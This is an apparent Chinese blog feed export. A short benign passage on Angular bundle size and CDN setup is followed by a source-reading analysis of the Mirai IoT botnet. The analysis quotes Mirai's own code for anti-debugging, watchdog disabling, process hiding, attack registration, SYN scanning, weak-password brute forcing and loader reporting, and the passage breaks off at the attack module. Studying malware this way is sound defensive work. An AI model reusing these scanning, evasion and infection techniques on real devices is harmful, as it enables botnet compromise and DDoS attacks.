class="line">}</span><br></pre></td></tr></table></figure><p>当然有点让我觉得苦恼的是<code>data</code>和<code>layout</code>的类型,在使用<code>angular-plotly.js</code>的时候,我可以指定它们的类型,这样能避免一些类型的错误。这种苦恼的情感一直持续到我看到<code>angualr-plotly</code>的<a href="https://github.com/plotly/angular-plotly.js/blob/master/src/app/plotly/plotly.service.ts#L5-L20">这段源码</a></p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">namespace</span> <span class="title class_">Plotly</span> {</span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">type</span> <span class="title class_">Data</span> = <span class="built_in">any</span>;</span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">type</span> <span class="title class_">Layout</span> = <span class="built_in">any</span>;</span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">type</span> <span class="title class_">Config</span> = <span class="built_in">any</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">interface</span> <span class="title class_">Figure</span> {</span><br><span class="line"> <span class="attr">data</span>: <span class="title class_">Data</span>[];</span><br><span class="line"> <span class="attr">layout</span>: <span class="title class_">Partial</span><<span class="title class_">Layout</span>>;</span><br><span class="line"> <span class="attr">frames</span>: <span class="title class_">Partial</span><<span class="title class_">Config</span>>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">export</span> <span class="keyword">interface</span> <span class="title class_">PlotlyHTMLElement</span> <span class="keyword">extends</span> <span class="title class_">HTMLElement</span> {</span><br><span class="line"> <span class="title function_">on</span>(<span class="attr">event</span>: <span class="built_in">string</span>, <span class="attr">callback</span>: <span class="title class_">Function</span>): <span class="built_in">void</span>;</span><br><span class="line"> <span class="title function_">removeListener</span>(<span class="attr">event</span>: <span class="built_in">string</span>, <span class="attr">callback</span>: <span class="title class_">Function</span>): <span class="built_in">void</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>居然是any…这样这段直接新建一个Service装下来就有了Plotly类型了。</p><p>最后我们将<code>angular-plotly.js</code>彻底从项目中移除,然后重新编译并运行<code>webpack-bundle-analyzer</code>。</p><p><img src="/images/bibliosoft_analyzer_after.png" alt="webpack analyzer after"></p><p>可以见到,现在<code>Plot.ly</code>的部分已经只有700k了,而整个<code>main.js</code>的大小也减小到了2.26 MB。在通过github pages部署之后会使用gzip进行传输,这个大小会被压缩到500k,此时文件的加载时间已经是7秒左右了。</p><h2 id="CDN-加速"><a href="#CDN-加速" class="headerlink" title="CDN 加速"></a>CDN 加速</h2><p>但是这个速度依然不是非常顺畅,我们仍可以使用CDN对整个内容再进行一次加速。下面是加速前后的对比,来自于<code>ping.chinaz.com</code>。</p><p><img src="/images/bibliosoft_ping_without_cdn.png" alt="cdn加速前"></p><p><img src="/images/bibliosoft_ping_cdn.png" alt="cdn加速后"></p><p>因为知道腾讯云的cdn有新用户的300G的流量赠送,所以就直接使用了腾讯云的服务。首先需要进行实名认证,和输入指定网站的类型和信息,这些略过不谈。</p><p>之后就是创建需要加速的域名了。在这里它就是 <code>bibliosoft.ciaran.cn</code>。</p><p>之后是填写源站的信息,所谓的源站指的就是在没有CDN网络的情况下的源服务器。最好的方式当然是直接给出服务器的ip地址,这样就能避免有产生解析ip地址的消耗。但是我并不知道github pages的静态ip地址,即使是通过ping能获得ip地址,但是其ip地址也并非是静态的。所以还是填写这里的域名就好了,也就是<code>ciaranchen.github.io</code>。</p><p>在完成了之后,经过一段时间的部署之后,腾讯云会返回一个cdn地址,我们要将它添加到域名的CNAME地址中,这样才是完成了整个CDN的过程。一般来说,腾讯云给出的都是以<code>.cdn.dnsv1.com</code> 结尾的一个地址,比如我所拿到的就是 <code>bibliosoft.ciaran.cn.cdn.dnsv1.com</code>,然后将它添加到域名解析中去:(也是腾讯云的)</p><p><img src="/images/bibliosoft_cname.png" alt="cname setting"></p><p>在腾讯云中我们可以设置境内与境外线路,在国外,访问github pages的话网络速度是很好的,而要是走国内的CDN的话,反而就是很愚蠢了,所以设置两条CNAME记录,一条直接走<code>ciaranchen.github.io</code>的;另一条是走腾讯云CDN的。</p><p>还需要等待一段时间让路由生效。在生效后我们就能看到我们的加载时间被极大的缩短了。</p><p><img src="/images/bibliosoft_cdn_timing.png" alt="load time after CDN"></p><p>现在我们的加载时间已经低到了一秒以下了,这是一个足以满意的结果。</p>]]></content>
<summary type="html">这里在做项目管理课作业时,发现Angular产生的main.js文件过大,然后分析问题,发现是由使用Plotly绘图库而引起的,在换了一种写法后,解决了问题。</summary>
<category term="前端" scheme="http://blog.ciaran.cn/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="Angular" scheme="http://blog.ciaran.cn/tags/Angular/"/>
<category term="typescript" scheme="http://blog.ciaran.cn/tags/typescript/"/>
<category term="Plotly" scheme="http://blog.ciaran.cn/tags/Plotly/"/>
</entry>
<entry>
<title>Mirai源码阅读</title>
<link href="http://blog.ciaran.cn/2018/10/09/Mirai%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
<id>http://blog.ciaran.cn/2018/10/09/Mirai%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/</id>
<published>2018-10-09T14:03:37.000Z</published>
<updated>2024-01-16T06:38:43.099Z</updated>
<content type="html"><![CDATA[<p>代码可以从<a href="https://github.com/jgamblin/Mirai-Source-Code"><code>https://github.com/jgamblin/Mirai-Source-Code </code></a>下载。</p><p>一些基本的名称是这样的。攻击者将部署一个<code>Commad & Control</code>CNC 的节点和一个<code>loader</code> 的服务器,然后将感染的设备称为<code>bot</code>,并在其中运行程序<code>payload</code>。</p><span id="more"></span><p>Marai 各个部分的主要功能如下:</p><ul><li>loader(<code>loader/src</code>): 监听bot的report,并上传payload到要感染的设备</li><li>cnc(<code>mirai/cnc</code>): 即控制服务器,主要功能是处理用户登录和下发命令</li><li>bot(<code>mirai/bot</code>): 运行僵尸程序</li></ul><blockquote><p> 注:源码中其它部分(<code>mirai/tools</code>、<code>script/</code>、<code>dlr/</code>)不再关注。</p></blockquote><p>代码中,CNC部分是由Go语言编写的,余下都由C语言编码完成。因此我们需要Go语言的环境。</p><p>Mirai的主要感染途径是通过设备的默认密码。在感染后,可以通过ssh和Telnet连接对其他设备进行感染,或在cnc的指挥下对其它网络设备发起DDos攻击。</p><h2 id="Cnc-部分"><a href="#Cnc-部分" class="headerlink" title="Cnc 部分"></a>Cnc 部分</h2><p>cnc目录主要提供用户管理的接口、处理攻击请求并下发攻击命令。这个目录要求在安装的主机中存在Mysql。它会将管理员和bot的数据,甚至可以使用的命令以及历史存放在数据库中。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">admin.go 处理用户登录、创建新用户以及进行攻击</span><br><span class="line">api.go 说明api的处理方式</span><br><span class="line">attack.go 处理如何进行攻击</span><br><span class="line">clientList.go 管理感染的bot节点</span><br><span class="line">database.go 数据库管理,包括用户登录验证、新建用户、白名单、验证用户的攻击请求</span><br><span class="line">main.go 程序入口,开启23端口和101端口的监听</span><br></pre></td></tr></table></figure><p>在<code>main.go</code>中可以看到监听了23和101并分别调用了<code>initialHandler</code>和<code>apiHandler</code>两个函数。</p><p>首先跟随<code>initialHandler </code>,若接受数据长度为4,且分别为<code>00 00 00 x</code>(x>0)时,为bot监听,将对应的bot主机添加为新的bot。</p><p>否则,则判断是否是管理员并进行登录,如果成功登录,则可以通过命令发动攻击。而且如果是管理员账号,还可以通过命令执行管理员帐户添加<code>adduser</code>和查询bot数量<code>botcount</code>等。</p><p><code>ApiHandler</code>中则是提供了另一种访问方式,是为了更方便地调用bot进行攻击而设置的。</p><p>可以在<code>attack.go</code>中看到,<code>Mirai</code>所支持的攻击类型包括udp、vse、dns、syn、ack、stomp、GRE ip flood、GRE Ethernet flood、http等。(还有很多我并不认识。)当然这些进行攻击的类型都只是发一段特定的代码到bot,然后由所有bot一起进行即可。</p><h2 id="Bot-部分(Pyload)"><a href="#Bot-部分(Pyload)" class="headerlink" title="Bot 部分(Pyload)"></a>Bot 部分(Pyload)</h2><p>bot源码主要有:</p><ul><li>attack模块:解析下发的命令,发起DoS攻击</li><li>scanner模块:扫描telnet弱口令登录,上报给loader</li><li>killer模块:占用端口,kill同类僵尸(排除异己)</li><li>public模块: utils</li></ul><p>但是在此之前先看看<code>main</code>函数中启动之前一通熟练地操作:</p><ul><li><p>首先阻止<code>gdb</code>和<code>watchdog</code>的调试。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Signal based control flow</span></span><br><span class="line">sigemptyset(&sigs);</span><br><span class="line">sigaddset(&sigs, SIGINT);</span><br><span class="line">sigprocmask(SIG_BLOCK, &sigs, <span class="literal">NULL</span>);</span><br><span class="line">signal(SIGCHLD, SIG_IGN);</span><br><span class="line">signal(SIGTRAP, &anti_gdb_entry);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Prevent watchdog from rebooting device</span></span><br><span class="line"><span class="keyword">if</span> ((wfd = open(<span class="string">"/dev/watchdog"</span>, <span class="number">2</span>)) != <span class="number">-1</span> ||</span><br><span class="line"> (wfd = open(<span class="string">"/dev/misc/watchdog"</span>, <span class="number">2</span>)) != <span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> one = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> ioctl(wfd, <span class="number">0x80045704</span>, &one);</span><br><span class="line"> close(wfd);</span><br><span class="line"> wfd = <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>gdb 会通过信号来停止程序,既然如此,就一旦接受到 <code>SIGTRAP</code>就直接退出以禁止调试。</p><p>然后向在特定位置的看门狗程序发送控制码<code>0×80045704</code>禁用看门狗,以防止自动重启。通常在嵌入式设备中,固件会实现一种叫看门狗(watchdog)的功能,有一个进程会不断的向看门狗进程发送一个字节数据,这个过程叫喂狗。如果喂狗过程结束,那么设备就会重启,因此为了防止设备重启,Mirai关闭了看门狗功能。</p></li><li><p>然后是调用<code>ensure_single_instance()</code>用于确保只有一个实例的程序在运行。</p><p>方法是绑定一个特定的端口48101。如果有进程已经占用了这个端口,就直接把它kill掉,这样每个同样的程序绑定这个端口的时候,就会被下一个启动的实例给kill掉。</p><p>但是同样,这个特点是检测网络设备中是否存在<code>Mirai</code>的最高效的检测方法。</p></li><li><p>隐藏进程。</p><p>修改<code>args[0] </code>即运行程序的命令。</p><p>将进程名变为随机的字符。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Hide argv0</span></span><br><span class="line">name_buf_len = ((rand_next() % <span class="number">4</span>) + <span class="number">3</span>) * <span class="number">4</span>;</span><br><span class="line">rand_alphastr(name_buf, name_buf_len);</span><br><span class="line">name_buf[name_buf_len] = <span class="number">0</span>;</span><br><span class="line">util_strcpy(args[<span class="number">0</span>], name_buf);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Hide process name</span></span><br><span class="line">name_buf_len = ((rand_next() % <span class="number">6</span>) + <span class="number">3</span>) * <span class="number">4</span>;</span><br><span class="line">rand_alphastr(name_buf, name_buf_len);</span><br><span class="line">name_buf[name_buf_len] = <span class="number">0</span>;</span><br><span class="line">prctl(PR_SET_NAME, name_buf);</span><br></pre></td></tr></table></figure></li><li><p>初始化攻击 <code>attack_init()</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">BOOL <span class="title function_">attack_init</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line"> add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);</span><br><span class="line"> add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);</span><br><span class="line"> add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);</span><br><span class="line">add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);</span><br><span class="line"></span><br><span class="line"> add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);</span><br><span class="line"> add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);</span><br><span class="line"> add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);</span><br><span class="line"></span><br><span class="line"> add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);</span><br><span class="line"> add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);</span></span><br><span class="line"> add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在这之中,只是添加了一些可以进攻的方式,还没有实际进行攻击,所以这里面的函数我们稍后再看。</p></li></ul><h3 id="Killer-模块-killer-c"><a href="#Killer-模块-killer-c" class="headerlink" title="Killer 模块 killer.c"></a>Killer 模块 <code>killer.c</code></h3><p><code>main()</code>函数在此后调用了killer模块 <code>killer_init()</code>Killer模块主要是负责排除其他同类的病毒,以防止被抢走控制权。</p><p>在这个函数中,它会首先检测占用并杀死可能存在的进程,然后直接抢占 22/23/80 端口。这主要是为了排除异己,防止其他程序通过ssh/telnet/http的方式获得控制权。</p><p>在此后,他还会搜索特定的文件夹<code>/proc/$pid/exe</code>,在这个文件夹中包含了所有正在运行中的进程的程序链接,然后它通过链接直接看程序的真实名称是否含有<code>.anime</code>,一旦含有就直接杀死。</p><p>实际上这个程序在添加了其他逻辑之后,很快就能针对其他程序进行清除。这里大概只是用<code>anime</code>做了一个典型而已。毕竟<code>Mirai</code>还扫描了<code>/proc/$pid/status</code>文件,在这个文件中存着进程的一些信息,Killer模块也能根据这些信息对特定的进程进行杀死。</p><h3 id="Scanner-模块-Scanner-c"><a href="#Scanner-模块-Scanner-c" class="headerlink" title="Scanner 模块 Scanner.c"></a>Scanner 模块 <code>Scanner.c</code></h3><p>在killer之后,在主循环之前,<code>main()</code>调用了一个Scanner模块<code>scanner_init()</code>。Scanner即扫描器,他所做的是扫描网络中其它未被感染的主机,然后用弱口令尝试登陆,并将能登陆的主机的信息上报给loader,然后由loader对主机进行侵略。</p><p>在此模块中,扫描的ip地址是随机生成的,并会排除一定的ip地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span></span><br><span class="line">{</span><br><span class="line"> tmp = rand_next();</span><br><span class="line"></span><br><span class="line"> o1 = tmp & <span class="number">0xff</span>;</span><br><span class="line"> o2 = (tmp >> <span class="number">8</span>) & <span class="number">0xff</span>;</span><br><span class="line"> o3 = (tmp >> <span class="number">16</span>) & <span class="number">0xff</span>;</span><br><span class="line"> o4 = (tmp >> <span class="number">24</span>) & <span class="number">0xff</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">while</span> (o1 == <span class="number">127</span> || <span class="comment">// 127.0.0.0/8 - Loopback</span></span><br><span class="line"> (o1 == <span class="number">0</span>) || <span class="comment">// 0.0.0.0/8 - Invalid address space</span></span><br><span class="line"> (o1 == <span class="number">3</span>) || <span class="comment">// 3.0.0.0/8 - General Electric Company</span></span><br><span class="line"> (o1 == <span class="number">15</span> || o1 == <span class="number">16</span>) || <span class="comment">// 15.0.0.0/7 - Hewlett-Packard Company</span></span><br><span class="line"> (o1 == <span class="number">56</span>) || <span class="comment">// 56.0.0.0/8 - US Postal Service</span></span><br><span class="line"> (o1 == <span class="number">10</span>) || <span class="comment">// 10.0.0.0/8 - Internal network</span></span><br><span class="line"> (o1 == <span class="number">192</span> && o2 == <span class="number">168</span>) || <span class="comment">// 192.168.0.0/16 - Internal network</span></span><br><span class="line"> (o1 == <span class="number">172</span> && o2 >= <span class="number">16</span> && o2 < <span class="number">32</span>) || <span class="comment">// 172.16.0.0/14 - Internal network</span></span><br><span class="line"> (o1 == <span class="number">100</span> && o2 >= <span class="number">64</span> && o2 < <span class="number">127</span>) || <span class="comment">// 100.64.0.0/10 - IANA NAT reserved</span></span><br><span class="line"> (o1 == <span class="number">169</span> && o2 > <span class="number">254</span>) || <span class="comment">// 169.254.0.0/16 - IANA NAT reserved</span></span><br><span class="line"> (o1 == <span class="number">198</span> && o2 >= <span class="number">18</span> && o2 < <span class="number">20</span>) || <span class="comment">// 198.18.0.0/15 - IANA Special use</span></span><br><span class="line"> (o1 >= <span class="number">224</span>) || <span class="comment">// 224.*.*.*+ - Multicast</span></span><br><span class="line"> (o1 == <span class="number">6</span> || o1 == <span class="number">7</span> || o1 == <span class="number">11</span> || o1 == <span class="number">21</span> || o1 == <span class="number">22</span> || o1 == <span class="number">26</span> || o1 == <span class="number">28</span> || o1 == <span class="number">29</span> || o1 == <span class="number">30</span> || o1 == <span class="number">33</span> || o1 == <span class="number">55</span> || o1 == <span class="number">214</span> || o1 == <span class="number">215</span>) <span class="comment">// Department of Defense</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>在此后列出了一系列的弱密码。</p><p>之后是快速扫描的秘密所在,下面这段代码批量对23和2323端口发送 SYN 数据包,只对有response的地址进行响应。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (fake_time != last_spew)</span><br><span class="line">{</span><br><span class="line"> last_spew = fake_time;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < SCANNER_RAW_PPS; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">paddr</span> =</span> {<span class="number">0</span>};</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iphdr</span> *<span class="title">iph</span> =</span> (<span class="keyword">struct</span> iphdr *)scanner_rawpkt;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">tcphdr</span> *<span class="title">tcph</span> =</span> (<span class="keyword">struct</span> tcphdr *)(iph + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> iph->id = rand_next();</span><br><span class="line"> iph->saddr = LOCAL_ADDR;</span><br><span class="line"> iph->daddr = get_random_ip();</span><br><span class="line"> iph->check = <span class="number">0</span>;</span><br><span class="line"> iph->check = checksum_generic((<span class="type">uint16_t</span> *)iph, <span class="keyword">sizeof</span> (<span class="keyword">struct</span> iphdr));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (i % <span class="number">10</span> == <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> tcph->dest = htons(<span class="number">2323</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> tcph->dest = htons(<span class="number">23</span>);</span><br><span class="line"> }</span><br><span class="line"> tcph->seq = iph->daddr;</span><br><span class="line"> tcph->check = <span class="number">0</span>;</span><br><span class="line"> tcph->check = checksum_tcpudp(iph, tcph, htons(<span class="keyword">sizeof</span> (<span class="keyword">struct</span> tcphdr)), <span class="keyword">sizeof</span> (<span class="keyword">struct</span> tcphdr));</span><br><span class="line"></span><br><span class="line"> paddr.sin_family = AF_INET;</span><br><span class="line"> paddr.sin_addr.s_addr = iph->daddr;</span><br><span class="line"> paddr.sin_port = tcph->dest;</span><br><span class="line"></span><br><span class="line"> sendto(rsck, scanner_rawpkt, <span class="keyword">sizeof</span> (scanner_rawpkt), MSG_NOSIGNAL, (<span class="keyword">struct</span> sockaddr *)&paddr, <span class="keyword">sizeof</span> (paddr));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>由于使用的是UDP协议,要从获得的数据包中快速筛选出真正的响应的包</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">errno = <span class="number">0</span>;</span><br><span class="line">n = recvfrom(rsck, dgram, <span class="keyword">sizeof</span> (dgram), MSG_NOSIGNAL, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (n <= <span class="number">0</span> || errno == EAGAIN || errno == EWOULDBLOCK)</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (n < <span class="keyword">sizeof</span>(<span class="keyword">struct</span> iphdr) + <span class="keyword">sizeof</span>(<span class="keyword">struct</span> tcphdr))</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (iph->daddr != LOCAL_ADDR)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (iph->protocol != IPPROTO_TCP)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (tcph->source != htons(<span class="number">23</span>) && tcph->source != htons(<span class="number">2323</span>))</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (tcph->dest != source_port)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (!tcph->syn)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (!tcph->ack)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (tcph->rst)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (tcph->fin)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"><span class="keyword">if</span> (htonl(ntohl(tcph->ack_seq) - <span class="number">1</span>) != iph->saddr)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure><p>我们会过滤掉:</p><ul><li>不完整的包</li><li>目标非本机地址的包</li><li>目标非TCP协议的包</li><li>目标来源非23或2323的包</li><li>目标非特定端口的包</li><li>是SYN或ACK信号</li><li>不是RST和FIN信号</li><li>最后还判断其ACK序列号是否与前一个相同</li></ul><p>之后将存活的设备保存到一个数组中。然后随机选取之前设置的弱口令进行爆破:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (FD_ISSET(conn->fd, &fdset_wr))</span><br><span class="line"> {</span><br><span class="line"> <span class="type">int</span> err = <span class="number">0</span>, ret = <span class="number">0</span>;</span><br><span class="line"> <span class="type">socklen_t</span> err_len = <span class="keyword">sizeof</span> (err);</span><br><span class="line"></span><br><span class="line"> ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);</span><br><span class="line"> <span class="keyword">if</span> (err == <span class="number">0</span> && ret == <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> conn->state = SC_HANDLE_IACS;</span><br><span class="line"> conn->auth = random_auth_entry();</span><br><span class="line"> conn->rdbuf_pos = <span class="number">0</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[scanner] FD%d connected. Trying %s:%s\n"</span>, conn->fd, conn->auth->username, conn->auth->password);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[scanner] FD%d error while connecting = %d\n"</span>, conn->fd, err);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> close(conn->fd);</span><br><span class="line"> conn->fd = <span class="number">-1</span>;</span><br><span class="line"> conn->tries = <span class="number">0</span>;</span><br><span class="line"> conn->state = SC_CLOSED;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>然后发送一系列命令判断登录成功与否。若成功,尝试一些操作,并上报loader。</p><p>上报loader的格式如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">uint8_t</span> zero = <span class="number">0</span>;</span><br><span class="line">send(fd, &zero, <span class="keyword">sizeof</span> (<span class="type">uint8_t</span>), MSG_NOSIGNAL);</span><br><span class="line">send(fd, &daddr, <span class="keyword">sizeof</span> (<span class="type">ipv4_t</span>), MSG_NOSIGNAL);</span><br><span class="line">send(fd, &dport, <span class="keyword">sizeof</span> (<span class="type">uint16_t</span>), MSG_NOSIGNAL);</span><br><span class="line">send(fd, &(auth->username_len), <span class="keyword">sizeof</span> (<span class="type">uint8_t</span>), MSG_NOSIGNAL);</span><br><span class="line">send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);</span><br><span class="line">send(fd, &(auth->password_len), <span class="keyword">sizeof</span> (<span class="type">uint8_t</span>), MSG_NOSIGNAL);</span><br><span class="line">send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="Attack-模块"><a href="#Attack-模块" class="headerlink" title="Attack 模块"></a>Attack 